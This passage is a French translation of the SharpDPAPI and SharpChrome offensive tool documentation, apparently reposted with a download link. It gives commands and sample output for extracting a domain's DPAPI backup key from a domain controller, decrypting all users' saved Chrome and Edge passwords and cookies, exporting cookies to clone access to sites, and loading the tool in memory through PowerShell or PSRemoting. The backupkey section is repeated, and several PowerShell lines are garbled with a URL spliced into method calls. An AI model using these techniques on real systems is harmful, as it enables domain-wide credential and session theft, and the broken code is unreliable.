Les droits d'administrateur du domaine (ou équivalent) sont nécessaires pour récupérer la clé depuis un contrôleur de domaine distant.

L'indicateur /nowrap empêche le wrapping de la clé base64 lors de l'affichage.

Ce blob de clé base64 peut être décodé en un fichier .pvk binaire qui peut ensuite être utilisé avec le module dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk de Mimikatz, ou utilisé sous forme de blob/fichier /pvk:X avec les commandes masterkeys, credentials ou vault de SharpDPAPI.

Par défaut, SharpDPAPI essaie de déterminer le contrôleur de domaine actuel via l'appel API DsGetDcName. Un serveur peut être spécifié avec /server:COMPUTER.domain.com. Si vous souhaitez que la clé soit enregistrée sur le disque au lieu d'être affichée sous forme de blob base64, utilisez /file:key.pvk.

Récupérer la clé de sauvegarde DPAPI pour le contrôleur de domaine actuel :

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action : Récupérer la clé de sauvegarde DPAPI du domaine


[*] Utilisation du contrôleur de domaine actuel : PRIMARY.testlab.local
[*] Guid préféré de la clé de sauvegarde : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Nom complet préféré de la clé de sauvegarde : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Clé :
          HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...

Récupérer la clé de sauvegarde DPAPI pour le DC spécifié, en sortant la clé de sauvegarde dans un fichier :

root@kitploit:~
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action : Récupérer la clé de sauvegarde DPAPI du domaine


[*] Utilisation du serveur : primary.testlab.local
[*] Guid préféré de la clé de sauvegarde : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Nom complet préféré de la clé de sauvegarde : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Clé de sauvegarde écrite dans : key.pvk

search

La commande search recherche les blobs DPAPI potentiels dans le registre, les fichiers, les dossiers et les blobs base64. Utilisation :``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]

root@kitploit:~
La commande `search` fonctionne en recherchant les octets suivants, qui représentent l'en-tête (Version + GUID du fournisseur DPAPI) de la structure de blob DPAPI :```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

La commande search a différents arguments selon le type de données scanné. Pour désigner le type de données, utilisez l'argument /type en spécifiant registry, folder, file ou base64. Si l'argument /type n'est pas présent, la commande recherchera dans le registre par défaut.

Lors de la recherche dans le registre sans autres arguments, la commande recherchera récursivement les ruches HKEY_LOCAL_MACHINE et HKEY_USERS. Utilisez le paramètre /path pour spécifier une racine de clé à partir de laquelle rechercher (par exemple /path:HKLM\Software) et utilisez l'argument /showErrors pour afficher les erreurs qui se produisent lors de l'énumération.

Lors de la recherche d'un fichier ou d'un dossier, spécifiez un chemin avec /path:C:\Path\to\file\or\folder et utilisez éventuellement /maxBytes:<int> pour préciser le nombre d'octets à lire dans chaque fichier (par défaut : 1024 octets). La commande lira les octets depuis le début du fichier et recherchera les blobs DPAPI. Utilisez /showErrors pour afficher les erreurs qui se produisent lors de l'énumération.

Lors de la recherche d'un blob base64, spécifiez les octets encodés en base64 à analyser avec le paramètre /base64:<base64 str>.

SCCM

Si vous êtes en contexte élevé sur une machine cliente SCCM, et si l'environnement SCCM est configuré avec un compte d'accès réseau (NAA), les blobs DPAPI protégés par la clé maître système contenant les identifiants NAA peuvent être récupérés via WMI ; La commande SCCM interrogera les blobs via WMI, récupérera les clés maîtres système, et déchiffrera les blobs.

SharpChrome Commands

logins

La commande logins recherchera les fichiers 'Login Data' de Chrome et déchiffrera les mots de passe de connexion enregistrés. Si l'exécution est dans un contexte non élevé, CryptProtectData() sera automatiquement utilisée pour tenter de déchiffrer les valeurs. Si /browser:edge est spécifié, le navigateur Edge basé sur Chromium plus récent est trié.

Les fichiers Login Data peuvent également être déchiffrés avec a) des clés maîtres "{GUID}:SHA1 {GUID}:SHA1 ..." passées, b) un /mkfile:FILE d'un ou plusieurs mappages de clé maître {GUID}:SHA1, c) une clé de sauvegarde de domaine DPAPI fournie (/pvk:BASE64... ou /pvk:key.pvk) pour d'abord déchiffrer les clés maîtres utilisateur, ou d) un /password:X pour déchiffrer les clés maîtres utilisateur, qui sont ensuite utilisées comme table de déchiffrement par recherche. Les mappages GUID DPAPI peuvent être récupérés avec la commande sekurlsa::dpapi de Mimikatz.

Un fichier Login Data spécifique peut être spécifié avec /target:FILE. Un serveur distant /server:SERVER peut être spécifié si un /pvk ou /password est également fourni. Si vous triez des instances plus récentes de Chrome/Edge, une clé d'état AES /statekey:X peut être spécifiée.

Par défaut, les identifiants sont affichés au format csv. Cela peut être modifié avec /format:table pour une sortie en tableau. De plus, par défaut seules les entrées avec des mots de passe non nuls sont affichées, mais toutes les valeurs peuvent être affichées avec /showall.

Si exécuté depuis un contexte élevé, les fichiers Login Data de TOUS les utilisateurs seront triés, sinon seuls les fichiers Login Data de l'utilisateur actuel seront traités.

cookies

La commande cookies recherchera les fichiers 'Cookies' de Chromium et déchiffrera les valeurs des cookies. Si l'exécution est dans un contexte non élevé, CryptProtectData() sera automatiquement utilisée pour tenter de déchiffrer les valeurs. Vous pouvez changer l'application cible en utilisant /browser:<VALEUR> (par exemple, edge, brave, slack).

Les fichiers Cookies peuvent également être déchiffrés avec a) des clés maîtres "{GUID}:SHA1 {GUID}:SHA1 ..." passées, b) un /mkfile:FILE d'un ou plusieurs mappages de clé maître {GUID}:SHA1, c) une clé de sauvegarde de domaine DPAPI fournie (/pvk:BASE64... ou /pvk:key.pvk) pour d'abord déchiffrer les clés maîtres utilisateur, ou d) un /password:X pour déchiffrer les clés maîtres utilisateur, qui sont ensuite utilisées comme table de déchiffrement par recherche. Les mappages GUID DPAPI peuvent être récupérés avec la commande sekurlsa::dpapi de Mimikatz.

Un fichier Cookies spécifique peut être spécifié avec /target:FILE. Un serveur distant /server:SERVER peut être spécifié si un /pvk ou /password est également fourni. Si vous triez des instances plus récentes de Chrome/Edge, une clé d'état AES /statekey:X peut être spécifiée.

Par défaut, les cookies sont affichés au format csv. Cela peut être modifié avec /format:table pour une sortie en tableau, ou /format:json pour une sortie importable par EditThisCookie. De plus, par défaut seules les entrées de valeur de cookie non expirées sont affichées, mais toutes les valeurs peuvent être affichées avec /showall.

Si exécuté depuis un contexte élevé, les fichiers Cookies de TOUS les utilisateurs seront triés, sinon seuls les fichiers Cookies de l'utilisateur actuel seront traités.

La commande cookies possède également les arguments /cookie:REGEX et /url:REGEX pour ne renvoyer que les noms de cookies ou les urls correspondant à l'expression régulière fournie. C'est utile avec /format:json pour cloner facilement l'accès à des sites spécifiques.

statekeys

Par défaut, la commande statekeys recherchera les applications basées sur Chromium (Google Chrome, Edge, Brave et Slack), localisera leurs fichiers de clé d'état AES (par exemple, 'AppData\Local\Google\Chrome\User Data\Local State' et 'AppData\Local\Microsoft\Edge\User Data\Local State'), et les déchiffrera en utilisant le même type d'arguments que ceux pouvant être fournis pour cookies et logins. Vous pouvez également fournir le chemin vers un fichier de clé d'état spécifique en utilisant le paramètre /target: (par exemple, "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").

Les clés d'état peuvent également être déchiffrées avec a) des clés maîtres "{GUID}:SHA1 {GUID}:SHA1 ..." passées, b) un /mkfile:FILE d'un ou plusieurs mappages de clé maître {GUID}:SHA1, c) une clé de sauvegarde de domaine DPAPI fournie (/pvk:BASE64... ou /pvk:key.pvk) pour d'abord déchiffrer les clés maîtres utilisateur, ou d) un /password:X pour déchiffrer les clés maîtres utilisateur, qui sont ensuite utilisées comme table de déchiffrement par recherche. Les mappages GUID DPAPI peuvent être récupérés avec la commande sekurlsa::dpapi de Mimikatz.

Si exécuté depuis un contexte élevé, les clés d'état de TOUS les utilisateurs seront triées, sinon seules les clés d'état de l'utilisateur actuel seront traitées.

backupkey

La commande backupkey récupérera la clé de sauvegarde DPAPI du domaine depuis un contrôleur de domaine en utilisant l'approche API LsaRetrievePrivateData de Mimikatz. Cette clé privée peut ensuite être utilisée pour déchiffrer les blobs de clé maître pour n'importe quel utilisateur du domaine. Et mieux encore, la clé ne change jamais ;)

Les droits d'administrateur de domaine (ou équivalent) sont nécessaires pour récupérer la clé à partir d'un contrôleur de domaine distant.

Le drapeau /nowrap empêchera le retour à la ligne de la clé base64 lors de l'affichage.

Ce blob de clé base64 peut être décodé en un fichier binaire .pvk qui peut ensuite être utilisé avec le module dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk de Mimikatz, ou utilisé sous forme de blob/fichier /pvk:X avec les commandes masterkeys, credentials ou vault de SharpDPAPI.

Par défaut, SharpDPAPI tentera de déterminer le contrôleur de domaine actuel via l'appel API DsGetDcName. Un serveur peut être spécifié avec /server:COMPUTER.domain.com. Si vous souhaitez que la clé soit enregistrée sur le disque plutôt que sortie sous forme de blob base64, utilisez /file:key.pvk.

Compile Instructions

Nous ne prévoyons pas de publier de binaires pour SharpDPAPI, donc vous devrez compiler vous-même :)

SharpDPAPI a été construit avec .NET 3.5 et est compatible avec Visual Studio 2019 Community Edition. Ouvrez simplement le fichier .sln du projet, choisissez "Release", et compilez.

Targeting other .NET versions

La configuration de build par défaut de SharpDPAPI est pour .NET 3.5, ce qui échouera sur les systèmes où cette version n'est pas installée. Pour cibler SharpDPAPI pour .NET 4 ou 4.5, ouvrez la solution .sln, allez dans Projet -> Propriétés de SharpDPAPI et modifiez le "Framework cible" vers une autre version.

Sidenote: Running SharpDPAPI Through PowerShell

Si vous souhaitez exécuter SharpDPAPI en mémoire via un wrapper PowerShell, compilez d'abord SharpDPAPI et encodez en base64 l'assembly résultant :

root@kitploit:~
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

SharpDPAPI peut ensuite être chargé dans un script PowerShell avec ce qui suit (où "aa..." est remplacé par la chaîne d'assembly SharpDPAPI encodée en base64) :

root@kitploit:~
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

La méthode Main() et tous les arguments peuvent ensuite être invoqués comme suit :

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/master/:Main(%22machinemasterkeys%22)

Sidenote Sidenote: Running SharpDPAPI Over PSRemoting

En raison de la façon dont PSRemoting gère la sortie, nous devons rediriger stdout vers une chaîne et la retourner à la place. Heureusement, SharpDPAPI dispose d'une fonction pour cela.

Si vous suivez les instructions dans Sidenote: Running SharpDPAPI Through PowerShell pour créer un SharpDPAPI.ps1, ajoutez quelque chose comme ceci à la fin du script :

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/master/:MainString(%22machinemasterkeys%22)

Vous devriez alors pouvoir exécuter SharpDPAPI via PSRemoting avec quelque chose comme ceci :

root@kitploit:~
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

Alternativement, l'argument SharpDPAPI /consoleoutfile:C:\FILE.txt redirigera tous les flux de sortie vers le fichier spécifié.

Télécharger l’outil
credentials
/mkfile:FILE
/pvk:BASE64...
/pvk:key.pvk
masterkeys
/password:X
sekurlsa::dpapi